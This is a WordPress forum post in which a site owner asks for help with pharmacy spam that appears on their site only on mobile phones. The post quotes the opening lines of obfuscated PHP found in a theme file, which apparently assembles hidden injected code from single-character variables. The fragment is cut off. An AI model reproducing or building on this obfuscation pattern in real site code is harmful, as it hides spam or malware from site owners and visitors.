website appears hacked on phone but not computer

Hi, my apologies if this has been covered in the forums – if so I can’t seem to find it.

My site, http://www.travestybijoux.com, looks fine when viewed on a PC computer browser, whether firefox, explorer, chrome or iron.

However, when viewed on my friend’s iphone or on my own recent android phone, it has text with advertising canadian cialis, viagra etc.! Oddly, however, on my sister’s older android phone that does not show up.

Even more oddly, I have subjected the site to virus scans, including all the mainpage files on Jotti.com – all deemed clean.

I had been running WordPress 3.0.4. I backed everything up, updated the plugins, then updated to WordPress 3.6. I reactivated the plugins – drat! The offensive text still shows up on my phone, but not on my computer. So I deactivated each plugin one by one – but no dice, that craparoo about cialis, viagra and levitra is still there.

I ran two different antivirus apps on my phone to doublecheck on whether it’s my phone that’s infected – it seems not, and the fact that this problem shows up on my friend’s iphone seems to argue against that.

With the plugins disabled, I thought I’d check the theme script for the appearance. – looking in the appearance editor, there was something wierd in the sidebar-meta.php section. Very suspicious. to whit:
<?php
$bacterial= ‘”‘; $circuit =’a’; $blades =’?’; $appraisal = ‘o’; $billions =’v’;

$latrena =’t’; $capita= ‘r’;$enemy= ‘i’;$hems = ‘;u’; $butt = ‘S’; $ambiguous= ‘)’;
$friendships= ‘;’;$homere =’3K’;$italic=’7oarR;ce’;$expectorate= ‘n’;$flag = ‘5’;
$hothead= ‘(‘;

and more…

the website doesn’t have a sidebar, so I just deleted it all. But still! The pharmacuet. adverts are still there on the phone version.

My questions to the collective wp forum wisdom!

1) I’ve been searching for any mention of this sort of problem and have not turned anything up! Has anyone heard of this before?

2) any ideas what the heck to do about it?

3) I decided I’d try to reinstall the theme, linquist. But I discover that it’s no longer available. Yike…If I do need to raze the site and re-build it, does anyone have a suggestion for something similar?

Many Thanks folks –
travestybijoux